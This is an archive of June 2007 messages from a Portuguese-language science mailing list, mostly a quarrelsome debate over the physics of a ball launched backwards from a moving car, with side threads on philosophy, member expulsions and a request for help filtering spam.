Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
a100Km/h:osresultados


E lá vamos nós...

> Ricardo: A única coisa que os 2 problemas têm em comum é o seu erro, para
> variar...
> ........................
> José Renato:
> Vc não disse qual é o meu erro?
>
> Ricardo:
> 1) A bola não corre para trás, após tocar o chão, por causa do vácuo, como
> vc afirmou, pois ela ganha grande velocidade somente após tocar o chão.
> JR - Erro 1: a bola já cai na vertical pela primeira vez com inclinação
> para a esquerda, o que significa que já existe uma componente horizontal
> de força nessa direção.

Mas, é após tocar no chão que realmente ganha velocidade. O deslocamento da
bola para esquerda, antes do contato com o chão, é muito pequeno. Não
justifica a bola começar a rolar para a esquerda, como acontece, após o
contato com o chão. Permanece o seu erro.
JR1 - Sua análise está incompleta. A bola ao ser lançada está com velocidade
teórica zero em relação ao chão. Com o empuxo do vento de arraste do carro
ela adquire aceleração e, quando toca no chão já está acelerada. Inferir que
é a rotação da bola que aumenta a velocidade dela ao tocar o chão vc pode.
Mas é apenas um palpite, visto que o vídeo não tem boa definição que permita
um cálculo preciso, como vimos na plotagem que takata fez. O que vc não pode
negar é que o vento, provocado pelo deslocamento do carro, promove a
aceleração horizontal da bola para a esquerda a partir do lançamento.

> 2) O avião decola seja qual for o referencial escolhido para o outro
> problema (do avião) e não faz nenhum sentido o uso de 2 referenciais,
> pelas razões já exaustivamente explicadas.
> JR - Erro 2: Para a medição das velocidades do carro e da bola foram
> usados 2 referenciais diversos. O teste feito com o lançador parado para a
> aferição da velocidade utilizou o chão como referencial. Mas, quando o
> lançador está no carro, a velocidade da bola é medida em relação ao
> lançador e não mais em relação ao chão.

A velocidade da bola só é medida com o carro parado. Pelo menos no vídeo
apresentado. E, aliás, nem é realmente importante. A única observação
importante, neste caso, é a de que o grande movimento adquirido após o
contato com o chão não pode ter sido causado pelo vácuo, senão aconteceria
antes deste contato.
JR1 - Análise claudicante e autista... A medida da velocidade da bola, um
dos dois dados fundamentais do problema já não é importante... A inclinação
da bola para a esquerda já é visível na primeira trajetória após o
lançamento. Essa força de empuxo horizontal somada à componente vertical
gravitacional promove o deslocamento mais acentuado após quicar no chão.

> Se ela estivesse em um tubo bem longo instalado no carro e mantivesse a
> velocidade do lançamento de 100km/h ela continuaria praticamente parada em
> relação ao solo... Como o avião.

Não, visto que o cano não impediria a rotação da bola em torno de seu
próprio eixo, e que mesmo o pequeno deslocamento da bola ainda no ar está,
muito provavelmente, associado à diferença entre a velocidade do carro e a
velocidade de arremesso, que obviamente, dificilmente serão iguais. E, veja
bem, mesmo que o vácuo tivesse causado este pequeno deslocamento para a
esquerda inicial (que deixaria a bola quase no local de lançamento), não
justificaria o grande movimento que ocorre após o contato com o chão.
JR1 - Não expliquei direito o arranjo imaginado com um tubo longo horizontal
acoplado ao carro que mantivesse a bola na velocidade de 100km/h. O
carro-esteira se deslocaria para a esquerda a 100km/h, medida em relação ao
chão, e a bola-avião se deslocaria a 100km/h medida em relação ao
carro-esteira.

Seria difícil conseguir este nível de precisão para as duas velocidades. Mas
o fato do deslocamento ainda no ar ser muito pequeno, mostra que chegaram
bem perto disso. Foi bastante satisfatório o experimento, ao meu ver.
JR1 - Se o deslocamento da bola fosse para a direita na primeira trajetória
antes de tocar o chão poderíamos afirmar sem dúvida que as velocidades não
eram iguais. No caso em questão em que a bola se inclina para a esquerda no
primeiro trajeto ao chão, considerar o efeito de rotação da bola como
impulcionador após o toque no chão é apenas um exercício de imaginação.
Seria um evento que até poderia ocorrer, mas não justificaria a inclinação
para a esquerda no primeiro trajeto ao chão.


> Não adianta se esconder. A verdade vai chegando de mansinho no problema
> da bola e em outros trocentos problemas semelhantes de movimentos
> relativos.
> São eles que vão mostrar quem está errando e insistindo no erro de
> interpretação, só para não aceitar que minha análise está correta.
>
> Quem sabe de tanto vc repetir isso, se realize? Como naquele profundo
> filme"Quem somos nós"?
> JR - Quem sabe um dia vc caia na real de que é isso que se realiza?

Hmm... continue repetindo os mesmos argumentos sem sentido que um dia vc
deve conseguir (pelo menos a gente vai se cansar de tentar te explicar).
JR1 - Só espero que vc e outros não usem de renancalheirismo e, depois de
cairem na real, venham dizer que sabiam disso deeessde o início e que só
estavam discordando de bricadeirinha! Takata já indicou algo preocupante em
seu último comentário: deixa essa questão dos referenciais de medições para
Homero e outros se divertirem comigo. Por favor, não nos decepcionem!

Abs,
Ricardo

Abraços
José Renato



SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 19:24

On 6/22/07, José Renato <jrma@terra.com.br> wrote:
> Takata: [ Como eu disse, se fosse pelo vento os arcos NÃO seriam
> simétricos. ]
> ..................................................
>
> Discordo. O empuxo do vento sobre a bola ocorre em maior intensidade quando
> ela é lançada e está na altura do lançador instalado no carro, e se dilui
> rapidamente.

Partindo desse principio, o arco inicial deveria ser maior ou menor
que o segundo arco. Não apenas um sim ou não, mas em um valor
percentual (não precisa ser exato).

Posto de outra forma. Se a força que impulsiona a bola a frente
diminui rapidamente, pode o segundo arco ser 10 vezes maiores que o
primeiro?

> A aceleração maior é proporcionada a bola nos instantes da
> primeira trajetória em que ela cai ao chão após lançada. Isso é percebido no
> filme pela inclinação da trajetória de queda para a esquerda. As diferenças
> de velocidades entre a bola e o carro certamente deveria ser considerada se
> a inclinação da primeira trajetória fosse para a direita.

Porque não deveria ser considerada se a bola caísse pra esquerda ou mesmo reta ?

> Quanto ao efeito
> da rotação da bola em si própria só ocorreria após quicar no chão e não
> antes.

Bem... essa é toda a discussão, não? A bola, após tocar o chão uma
primeira vez, "violetamente" se lança na direção do carro.

Há dois movimentos característicos aqui: um que a bola descreve após
lançada e antes de tocar o chão (fase A) e um que a bola descreve
depois que toca o chão (fase B).

Pra esclarecer: a opinião majoritária parece-me ser (sempre do ponto
de vista da câmera estacionária):

Fase A: a bola se desloca levemente na direção do carro; causa: ter
sido lançada a uma velocidade menor que a do carro.

Deslocamento total: uns poucos centímetros

Fase B: a bola se desloca em grandes arcos a frente, quicando, até o
amortecimento parar e ela apenas rolar no chão.

Deslocamento total, algumas dezenas de metros.

> E como mostra o filme a inclinação já ocorre antes do primeiro toque
> no chão. C.q.d.
> Suas outras observações fora disso são apenas contraditórios especulativos.

Depende. Você acredita que o deslocamento final de dezenas de metros é
causado apenas pela força do vento sobre a bola?

André


SUBJECT: Re: [ciencialist] P/ Amauri - P/ JC - Re: Mapa e território
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 22/06/2007 19:37

On 6/22/07, rmtakata <roberto.takata@bol.com.br> wrote:
> --- Em ciencialist@yahoogrupos.com.br, "Amauri Voltaire "
> > Abrir a cabeça é questão de inteligência, sabia? :-)
>
> Por q *você* não abre a cabeça e admite q está errado?
>
> A prática da ciência é sempre partir do pressuposto q de é possível
> estar enganado. Por isso não se fia em certezas, mas sim em refutar
> hipóteses. Ou seja, a prática científica leva à abertura da mente -
> apenas isso não significa perder completamente a noção do q é
> razoável. O q é razoável ou não quem dita são os dados da natureza.

Só pra não perder o fio da meada... Qual o prazo mesmo pro Amauri se
desculpar antes da expulsão?

André


SUBJECT: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: "Ricardo" <ricardos@infolink.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 20:13



> JR1 - Sua análise está incompleta. A bola ao ser lançada está com
> velocidade teórica zero em relação ao chão.

Não acho. Seria altamente improvável conseguir tal precisão com um carro e
um lançador. A velocidade prática dificilmente será zero (como já lembrei
antes, isso não é um problema teórico, mas a análise de uma situação real).
Você acha que é zero e respeito. Eu acho que não é. E, na realidade, não
teremos como saber se realmente era ou não, no vídeo. Então vou considerar
as duas possibilidades, ok? (mesmo altamente improvável a velocidade zero
mencionada).

> Com o empuxo do vento de arraste do carro ela adquire aceleração e, quando
> toca no chão já está acelerada.

Existe sim, realmente, uma pequena velocidade para a bola, após o
lançamento. Pela sua opinião, que estou considerando, o empuxo do vento é o
responsável. Pela minha, a bola já possui esta velocidade quando é lançada
(devido à pequena diferença de velocidades entre o carro e o lançamento).
Novamente, não teremos como chegar a uma conclusão aqui, mas não acho que
precisemos. O que importa é o que acontece após o contato com o chão.
Pessoalmente, acho que o empuxo do ar atrás do carro não seria suficiente
para acelerar a bola, mas como não tenho certeza, ficamos com duas
possibilidades.

> Inferir que é a rotação da bola que aumenta a velocidade dela
> ao tocar o chão vc pode.
> Mas é apenas um palpite, visto que o vídeo não tem boa definição que
> permita um cálculo preciso, como vimos na plotagem que takata fez.

Neste ponto discordo. Veja, existe uma grande diferença de velocidade
lateral, antes e após o contato com o chão. É visualmente perceptível,
concorda? Não precisamos de nenhum cálculo aqui.

> O que vc não pode negar é que o vento, provocado pelo deslocamento
> do carro, promove a aceleração horizontal da bola para a esquerda a partir
> do lançamento.

Pode ser que o vento possa ter provocado o deslocamento ou não. Eu acho que
não posso negar na mesma medida que você não pode afirmar. Infelizmente não
teremos como saber, a não ser que, através de cálculos ou experimentação,
possamos verificar as condições presentes no vídeo.

> A velocidade da bola só é medida com o carro parado. Pelo menos no vídeo
> apresentado. E, aliás, nem é realmente importante. A única observação
> importante, neste caso, é a de que o grande movimento adquirido após o
> contato com o chão não pode ter sido causado pelo vácuo, senão aconteceria
> antes deste contato.
>
> JR1 - Análise claudicante e autista...

Totalmente desnecessário seu comentário...

> A medida da velocidade da bola, um dos dois dados fundamentais do problema
> já não é importante... A inclinação da bola para a esquerda já é visível
> na primeira trajetória após o lançamento. Essa força de empuxo horizontal
> somada à componente vertical gravitacional promove o deslocamento mais
> acentuado após quicar no chão.
>
> Se ela estivesse em um tubo bem longo instalado no carro e mantivesse a
> velocidade do lançamento de 100km/h ela continuaria praticamente parada em
> relação ao solo... Como o avião.

> Seria difícil conseguir este nível de precisão para as duas velocidades.
> Mas o fato do deslocamento ainda no ar ser muito pequeno, mostra que
> chegaram bem perto disso. Foi bastante satisfatório o experimento, ao meu
> ver.
>
> JR1 - Se o deslocamento da bola fosse para a direita na primeira
> trajetória antes de tocar o chão poderíamos afirmar sem dúvida que as
> velocidades não eram iguais.

Ok, não podemos afirmar, sem dúvida, que as velocidades não eram iguais. Da
mesma forma que não podemos afirmar, sem dúvida, que eram.

> No caso em questão em que a bola se inclina para a esquerda no primeiro
> trajeto ao chão, considerar o efeito de rotação da bola como impulcionador

> após o toque no chão é apenas um exercício de imaginação.

Se não for a rotação, então precisamos de outro culpado. Apresente outra
teoria, que poderemos discutir. O vento não se aplica, pois não faz sentido
que ele gere uma maior velocidade para a esquerda após o contato com o chão.
Precisamos de uma força que atue no momento, ou a partir do momento do toque
no chão. A rotação da bola se encaixa neste requisito, como talvez alguma
outra força que estejamos esquecendo de considerar. O empuxo gerado pelo
carro não atende ao requisito.

> Seria um evento que até poderia ocorrer, mas não justificaria a inclinação

> para a esquerda no primeiro trajeto ao chão.

Realmente não. Para mim isso é causado pela diferença de velocidades, como
já disse. Mas estou aberto às duas possibilidades.


> JR1 - Só espero que vc e outros não usem de renancalheirismo e, depois de
> cairem na real, venham dizer que sabiam disso deeessde o início e que só
> estavam discordando de bricadeirinha! Takata já indicou algo preocupante
> em seu último comentário: deixa essa questão dos referenciais de medições
> para Homero e outros se divertirem comigo. Por favor, não nos decepcionem!

Eu não me importarei, de maneira nenhuma, de assumir que estava errado, ou
que você estava certo, se for esse o caso.

Inclusive concordo que possa haver uma influência do vento na trajetória
inicial, apesar de achar pouco provável.

Mas, até o momento, continuo afirmando (baseado em argumentos claros) que
acredito ser a rotação da bola a responsável pelo movimento relevante,
adquirido após o contato com o chão. Pode ser outra a causa, e estou aberto
a estudar e debater o caso, e eventualmente mudar minha posição, caso se
justifique.

E, sem dúvida, discordo (baseado em argumentos claros) da sua abordagem do
avião. Esta sim, considero que tem erros graves em conceitos básicos.


Um cordial abraço,


Ricardo






SUBJECT: Re: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a 100Km/h:osresultados
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 21:11

Discordo. Com a componente de força vertical gravitacional, a trajetória da
bola *sempre* será parabólica, mesmo que imperceptível a olho nu. Esqueceu?
Triângulos têm lados *retos* e não parabólicos.
[]s
JR
........................................................................

From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, June 21, 2007 9:03 PM
Subject: [ciencialist] Re: Jogar uma bola a 100Km/h de um carro a
100Km/h:osresultados


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Como eu disse, se fosse pelo vento os arcos NÃO seriam simétricos.

Aliás, se houvesse aceleração horizontal significativa pelo vento o
arco não seria nem mesmo parabólico, mas formaria triângulos.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Espaço-de-tempo?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 21:21

Por favor Ferrari, por favor, please,

ENVIE UMA MENSAGEM SEM PERGUNTAS.
ENVIE ALGO QUE NOS ENSINE ALGO NOVO; SEM PERGUNTAS.
ENVIE ALGO QUE CONTENHA ALGO ÚTIL; SEM PERGUNTAS.
ENVIE ALGUMA RESPOSTA; PODE ATÉ SER ÀS SUAS PERGUNTAS.
ENVIE ALGO SUBSTANCIAL NUMA FRASE CONEXA; SEM PERGUNTAS.

FAÇA QQER COISA, MAS SEM PERGUNTAR NADA!

Por favor, por favor, please.

cordialmente,
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sexta-feira, 22 de junho de 2007 14:01
Assunto: Re: [ciencialist] Re: Espaço-de-tempo?


Olá Takata!

Takata >>> conexão física entre as partes.

--- Vc quer dizer, semelhança fisica, é isto?

Takata >>> O Universo é o conjunto de sistemas
conectados - q trocam informações - direta ou
indiretamente entre si. Não é questão de acreditar. É
pura definição.

--- E porque voce acredita nesta definição?

Takata >>> Porq é feio mentir ou omitir a verdade -
salvo, exceções, q não é o caso.

--- Porque é feio omitir a verdade? Porque acredita
nisto? Tem certeza? Porque?

Takata >>> Não me preocupo com certezas.

--- Então porque quer tanto saber se sei a solução ou
não? Porque quer tanto ter certeza disto?

Takata >>> O q importa para uma hipótese é não haver
contradição com os fatos.

--- Pois é, voce está sendo contraditório.

Takata >>> E não responderei a nenhuma pergunta sua e
não farei mais nenhuma observação ou comentários sobre
o q vc escrever eqto vc não fizer uma de duas coisas:

--- Tá no seu direito. Respeito.

Takata >>> 1) Admitir q não sabe resolver o problema.

--- Fico pensando porque isto te incomoda tanto. Vc já
se perguntou sobre isto?

Takata >>> 2) Apresentar a resolução para o problema
(e depois resolver outra série de problemas
relacionados sem enrolar).

--- Considere o seguinte, vc não consegui dividir o
carro sem deixar de separar as partes, não conseguiu
dividir o UM, nem encontrar outra coisa que não fosse
UM na natureza, mas nem por isto eu fiquei bicudo com
vc. Que tal aceitar o conselho da Marta Suplicy.
Porque não? É inevitável, não é?


sinceramente
ferrari





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SUBJECT: Re: [ciencialist] P/ JC - Re: Mapa e território
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 21:26

De: "Amauri Voltaire "

>Por que todo cientista é fascista?
>Hey Ciência!!

Por que toda pessoa, que acha que todo cientista é fascista, é um imbecil?
[]'
Léo


SUBJECT: Re: [ciencialist] P/ JC - Re: Mapa e território
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 22/06/2007 22:04

Refazendo a pergunta:

Por que toda pessoa que acha que todo cientista é fascista, é imbecil?
[]'
Léo



SUBJECT: RES: E.F.R. Square OFF-TOPIC, OFF-TOPIC, HELP
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/06/2007 09:54

Lista, o assunto é genuinamente off-topic. Mas é que preciso de help.

Seguinte: recebo, a cada vez que abro minha cx. de msgs, muitos e-mails do
tipo do abaixo, oferecendo Viagra, cialis, essas coisas que ajudam a armar
nosso instrumento de trabalho, após a “fadiga” dos depois dos cinquentinha.

Nada demais. Afinal, nada é para sempre.

Bom, é uma quantidade enorme de ofertas do tipo, enchendo a caixa e a
paciência. Pior do que isso apenas os e-mails malucos e sem sentido do
Ferrari e Voltaire, não o filósofo banguelo e feioso e genial, francês, mas
o Voltaire das bandas desta lista; além de um ou outro mais teimoso, que os
cá por cá, como convém...

O que existe de comum nesses e-mails? 1-são veiculados via Yhaoo; 2)
aparece sempre a sigla efr, em letras minúsculas e maiúsculas; 3) contudo,
o” Em nome de “ varia, o que explica a profusão de avisos: olhe, fique
brocha não, tome isso, tome aquilo.

Bem, já tentei eliminar isso usando as regras de mensagens do Outlook(versão
2007). Das duas uma, ou ele não faz tais favores, ou não estou acertando
mesmo fazer as configurações. Aposto nesta última opção. Me conheço. É
isso!

Alguém mais astuto apontaria o caminho da libertação? Curioso: no note-book
da empresa não recebo nenhumazinha destas tais.

Desculpem o desvio de conduta. Mas acho que deve haver mais de vocês que
eles descobriram “esse segredo”....e estão no mesmo sufoco. Ou não?

Sds,

Victor.



De: efr@yahoogroups.com [mailto:efr@yahoogroups.com] Em nome de Adam Nichols
Enviada em: sábado, 23 de junho de 2007 09:35
Para: Efr
Assunto: E.F.R. Square



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inhibitors (SSRI). Other drugs in this class are Prozac (fluoxetine), Paxil
(paroxetine), Celexa (citalopram) and Luvox (fluvoxamine). Serotonin is a
neurotransmitter (a chemi... Read more <http://worldoxygen.hk/>





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Mapa e território
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/06/2007 11:48

Olá Roberto!

Já que o Takata não quer conversa com o ferrari. Quem
sabe o Roberto!

Roberto >>> A prática da ciência é sempre partir do
pressuposto q de é possível estar enganado.

--- Este é o problema. A ciencia não pratica ciencia,
ela não é um ente, quem pratica ciencia é o ser
humano, o cientista. Assim, este presuposto ai não é
pra ciencia. A ciencia não tem nada a ver com
pressupostos nem com enganos. Isto é pro cientista. A
ciencia (em si) nunca erra, nunca se engana. Quem se
engana é o cientista. Não existe enganos na natureza,
graças ao território. Só existe engano na observação,
no mapa, na cabeça do cientista. Eis ai um pressuposto
fundamental, mas que grande partes dos fisicos
insistem em ignorar.


sinceramente
ferrari









Por isso não se fia em certezas, mas
> sim em refutar
> hipóteses. Ou seja, a prática científica leva à
> abertura da mente -
> apenas isso não significa perder completamente a
> noção do q é
> razoável. O q é razoável ou não quem dita são os
> dados da natureza.
>
> []s,
>
> Roberto Takata
>
>


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SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a100Km/h:osresultados
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/06/2007 12:00

José Renato, só para constar:

A questão do avião já foi resolvida aqui por vários listeiros e você,
até onde se sabe, não teve "culhões intelectuais" para negar as
soluções apresentadas ou apresentar outra divergente. Na verdade
apenas calou quando viu que seus argumentos eram puro lixo e que nada
mais tinha a dizer e passou então a encher o saco de outros listeiros
na esperança de que mais alguém no mundo tenha a mesma péssima
formação básica que você. Tente o Amauri ou o Ferrari.

JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, Ricardo! Faço questão de registrar a capacidade que vc e Homero
têm de
> desviarem-se do objetivo, de confundir ou ficar apenas chapinhando na
> superfície da questão dos referenciais utilizados para medir as
velocidades
> do carro e a da bola. Essa questão que levantei na experiência da bola
> lançada do carro nas mesmas velocidades em sentidos contrários, que é
> semelhante a questão do avião-esteira, parece que ninguém quer
ver... Fogem
> dela como o capeta da cruz. Faço outros comentários no texto abaixo,
após
> JR1 -, OK?
> ................................................
>
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Thursday, June 21, 2007 3:12 PM
> Subject: RES: [ciencialist] Jogar uma bola a 100Km/h de um carro
> a100Km/h:osresultados
>
>
> E lá vamos nós...
>
> > Ricardo: A única coisa que os 2 problemas têm em comum é o seu
erro, para
> > variar...
> > ........................
> > José Renato:
> > Vc não disse qual é o meu erro?
> >
> > Ricardo:
> > 1) A bola não corre para trás, após tocar o chão, por causa do
vácuo, como
> > vc afirmou, pois ela ganha grande velocidade somente após tocar o
chão.
> > JR - Erro 1: a bola já cai na vertical pela primeira vez com
inclinação
> > para a esquerda, o que significa que já existe uma componente
horizontal
> > de força nessa direção.
>
> Mas, é após tocar no chão que realmente ganha velocidade. O
deslocamento da
> bola para esquerda, antes do contato com o chão, é muito pequeno. Não
> justifica a bola começar a rolar para a esquerda, como acontece, após o
> contato com o chão. Permanece o seu erro.
> JR1 - Sua análise está incompleta. A bola ao ser lançada está com
velocidade
> teórica zero em relação ao chão. Com o empuxo do vento de arraste do
carro
> ela adquire aceleração e, quando toca no chão já está acelerada.
Inferir que
> é a rotação da bola que aumenta a velocidade dela ao tocar o chão vc
pode.
> Mas é apenas um palpite, visto que o vídeo não tem boa definição que
permita
> um cálculo preciso, como vimos na plotagem que takata fez. O que vc
não pode
> negar é que o vento, provocado pelo deslocamento do carro, promove a
> aceleração horizontal da bola para a esquerda a partir do lançamento.
>
> > 2) O avião decola seja qual for o referencial escolhido para o outro
> > problema (do avião) e não faz nenhum sentido o uso de 2 referenciais,
> > pelas razões já exaustivamente explicadas.
> > JR - Erro 2: Para a medição das velocidades do carro e da bola foram
> > usados 2 referenciais diversos. O teste feito com o lançador
parado para a
> > aferição da velocidade utilizou o chão como referencial. Mas, quando o
> > lançador está no carro, a velocidade da bola é medida em relação ao
> > lançador e não mais em relação ao chão.
>
> A velocidade da bola só é medida com o carro parado. Pelo menos no vídeo
> apresentado. E, aliás, nem é realmente importante. A única observação
> importante, neste caso, é a de que o grande movimento adquirido após o
> contato com o chão não pode ter sido causado pelo vácuo, senão
aconteceria
> antes deste contato.
> JR1 - Análise claudicante e autista... A medida da velocidade da
bola, um
> dos dois dados fundamentais do problema já não é importante... A
inclinação
> da bola para a esquerda já é visível na primeira trajetória após o
> lançamento. Essa força de empuxo horizontal somada à componente
vertical
> gravitacional promove o deslocamento mais acentuado após quicar no chão.
>
> > Se ela estivesse em um tubo bem longo instalado no carro e
mantivesse a
> > velocidade do lançamento de 100km/h ela continuaria praticamente
parada em
> > relação ao solo... Como o avião.
>
> Não, visto que o cano não impediria a rotação da bola em torno de seu
> próprio eixo, e que mesmo o pequeno deslocamento da bola ainda no ar
está,
> muito provavelmente, associado à diferença entre a velocidade do
carro e a
> velocidade de arremesso, que obviamente, dificilmente serão iguais.
E, veja
> bem, mesmo que o vácuo tivesse causado este pequeno deslocamento para a
> esquerda inicial (que deixaria a bola quase no local de lançamento), não
> justificaria o grande movimento que ocorre após o contato com o chão.
> JR1 - Não expliquei direito o arranjo imaginado com um tubo longo
horizontal
> acoplado ao carro que mantivesse a bola na velocidade de 100km/h. O
> carro-esteira se deslocaria para a esquerda a 100km/h, medida em
relação ao
> chão, e a bola-avião se deslocaria a 100km/h medida em relação ao
> carro-esteira.
>
> Seria difícil conseguir este nível de precisão para as duas
velocidades. Mas
> o fato do deslocamento ainda no ar ser muito pequeno, mostra que
chegaram
> bem perto disso. Foi bastante satisfatório o experimento, ao meu ver.
> JR1 - Se o deslocamento da bola fosse para a direita na primeira
trajetória
> antes de tocar o chão poderíamos afirmar sem dúvida que as
velocidades não
> eram iguais. No caso em questão em que a bola se inclina para a
esquerda no
> primeiro trajeto ao chão, considerar o efeito de rotação da bola como
> impulcionador após o toque no chão é apenas um exercício de imaginação.
> Seria um evento que até poderia ocorrer, mas não justificaria a
inclinação
> para a esquerda no primeiro trajeto ao chão.
>
>
> > Não adianta se esconder. A verdade vai chegando de mansinho no
problema
> > da bola e em outros trocentos problemas semelhantes de movimentos
> > relativos.
> > São eles que vão mostrar quem está errando e insistindo no erro de
> > interpretação, só para não aceitar que minha análise está correta.
> >
> > Quem sabe de tanto vc repetir isso, se realize? Como naquele profundo
> > filme"Quem somos nós"?
> > JR - Quem sabe um dia vc caia na real de que é isso que se realiza?
>
> Hmm... continue repetindo os mesmos argumentos sem sentido que um dia vc
> deve conseguir (pelo menos a gente vai se cansar de tentar te explicar).
> JR1 - Só espero que vc e outros não usem de renancalheirismo e,
depois de
> cairem na real, venham dizer que sabiam disso deeessde o início e
que só
> estavam discordando de bricadeirinha! Takata já indicou algo
preocupante em
> seu último comentário: deixa essa questão dos referenciais de
medições para
> Homero e outros se divertirem comigo. Por favor, não nos decepcionem!
>
> Abs,
> Ricardo
>
> Abraços
> José Renato
>




SUBJECT: Errar é humano
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/06/2007 12:06

Prezados moderados e lista,

Atendendo às múltiplas solicitações de compreensão, humildade
intelectual e paciência com os leigos de má vontade, venho por meio
dessa admitir um profundo e grave ero intelectual que cometi nessa
lista em várias ocasiões ao me colocar contra a expulsão de membros
que nunca deram aqui nenhuma contribuição que prestasse e que, pelo
contrário, já emporcalharam essa lista com lixo de todo tipo em
centenas de mensagens. A saber: Amauri, José Renato e Ferrari (os
principais).

Sendo assim, a pedido dos próprios, reconheço meu erro, admito que
estava errado e passo a concordar com a expulsão dos três e de tantos
outros quantos necessário for para que essa lista volte a ser uma
lista de ciência e não a casa da Mãe Joana (pobre da minha mãezinha).

Sem mais,
JC




SUBJECT: Re: [ciencialist] Errar é humano
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/06/2007 14:44

José Carlos Antonio wrote:

> Sendo assim, a pedido dos próprios, reconheço meu erro, admito que
> estava errado e passo a concordar com a expulsão dos três e de tantos
> outros quantos necessário for para que essa lista volte a ser uma
> lista de ciência e não a casa da Mãe Joana (pobre da minha mãezinha).

Qdo o Leo sugeriu a expulsão do Ferrari há alguns meses, não me
manifestei, mas agora concordo com a sugestão dele.
Mesmo não participando muito, leio cerca de 10% das mensagens da lista,
e com certeza posso viver sem mensagens do tipo 'dividam o um' e outras
besteiras.

Quanto aos outros usuários citados (Amauri e José Renato), não me
incomodei com nenhuma mensagem deles, mas não considero as viagens do
Ferrari adequadas pra essa lista. Venho aqui pra ler alguma coisa sobre
ciência, e não filosofia de 10ª categoria.


SUBJECT: Sobre os debates
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/06/2007 15:29

Acho que eh hora de dar uma acalmada em discussoes *totalmente* inuteis.

Deixo a sugestao para os moderadores filtrarem criteriosamente as
mensagens de Ferrari e Amauri.


Luis Brudna - administrador da Ciencialist


SUBJECT: P/ JC - Re: Mapa e território
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/06/2007 16:09

--- Em ciencialist@yahoogrupos.com.br, "Amauri Voltaire " <amaurij@...>
escreveu

> Quero me desculpar, cientistas não são fascistas, apenas querem o bem
da humanidade é tudo bonzinho...:-)

> ta bom assim?

Não, não está bom. Há ironia manifesta em sua afirmação "é tudo
bonzinho", e uma afirmação irônica é uma forma de dizer exatamente - e
de maneira contundente, e com o intuito de ridicularizar - o contrário.

Várias vezes manifestei agressividade irracional nesta lista. Agredi
pessoas desnecessariamente. Porém, percebendo a besteira que cometi,
pedi desculpas. Sinceramente.

Espero que você faça o mesmo. Do contrário, deverá ser expulso da lista.

Manuel Bulcão



SUBJECT: Re: [ciencialist] P/ Amauri - P/ JC - Re: Mapa e território
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 23/06/2007 17:22


Moary:

Esqueceu de Pascal?

E nos mostre algumas evidências científicas de suas experiências espirituais.

Precisa aparecer mais.....

um abraço, silvio.
----- Original Message -----
From: Amauri Voltaire
To: ciencialist@yahoogrupos.com.br
Sent: Friday, June 22, 2007 6:32 PM
Subject: Re: [ciencialist] P/ Amauri - P/ JC - Re: Mapa e território


Homero,

Entenda que não nego a ciencia, ,muito pelo contrario, sou seu admirador e
seu defensor diante de tantos criancionistas de plantão. Como deve saber,
também tenho minhas crenças que se baseiam na lei da evolução tanto
biológica como espiritual. O que acontece que tento a anos trazer argumentos
que tão pouco compreendo e que até agora não foi respondido nem por você e
nem nenhum membro da lista. Se analisar bem, truxe uma discussão bem
pertinente na outra lista que sinceramente, você respondeu bem, mas deixou
algumas lacunas porque não quer responder para esclarecer, quer que as
pessoas tenham sensação de terem errado, serem ignorante...pra quê?

Eu vejo você tirando uma do Molina ou do Ferrari como se eles tivessem
dando um showzinho pra vocês rirem...tem suas opiniões e idéias como
qualquer um, como um volteiriano não posso admitir que a ciência tenha esse
fim. Você Homero, tem que admitir que errou, que se limitou dentro de um só
escopo da ciencia que Francis Bacon (era filósofo), Popper (também filosofo)
entre outros tenham errado. Acredito no pensamento de Leibniz que diz que a
natureza não dá saltos, portanto, no meio de tanta busca se limitamos a
acreditar que o universo foi criado dentro de um vácuo.

Computadores foram criados graças a Leibniz e seu sistema binário que na
época foi rejeitado, como muitos outros. Como posso acreditar numa ciência e
ver outra? Ver que quando estou em coma, vejo meu corpo por inteiro porque
meu cérebro produz...mas como ele produz se ele só vê reto, onde meus olhos
